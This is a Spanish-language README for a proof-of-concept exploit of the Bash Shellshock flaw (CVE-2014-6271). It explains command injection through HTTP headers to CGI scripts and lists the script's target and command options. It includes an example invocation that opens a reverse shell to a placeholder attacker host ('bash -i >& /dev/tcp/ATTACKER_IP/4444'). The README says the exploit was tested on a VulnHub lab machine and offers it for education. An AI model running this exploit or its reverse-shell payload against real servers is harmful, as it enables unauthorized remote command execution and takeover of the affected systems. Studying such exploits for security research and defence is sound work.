
Exploit de CVE-2014-6271 | por infrar3d
xpl0ited por infrar3d
Este repositorio contiene un exploit de prueba de concepto para CVE-2014-6271 (Shellshock).
Shellshock es una vulnerabilidad crítica en GNU Bash donde variables de entorno especialmente diseñadas permiten la ejecución arbitraria de comandos.
Cuando un servidor web pasa cabeceras HTTP a scripts CGI que invocan Bash, un atacante puede inyectar comandos a través de esas cabeceras.
./shellshock_exp.sh -h
shellshock_exp.sh [options]
Options:
-h | --help print this message and exit
-a | --address target address (default is "localhost")
-p | --port target port (default is 80)
-f | --file target file (default is "/cgi-bin/shell.sh")
-c | --command command to execute on the target machine (default is "id")
./shellshock_exp.sh -a 192.168.1.10
./shellshock_exp.sh -a 192.168.1.10 -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
(probado en la máquina VulnHub "Hacksudo - Thor")
Este software y código de prueba de concepto se proporciona solo con fines educativos y de investigación.
Usted es responsable de cumplir con todas las leyes aplicables. Úselo ética y responsablemente.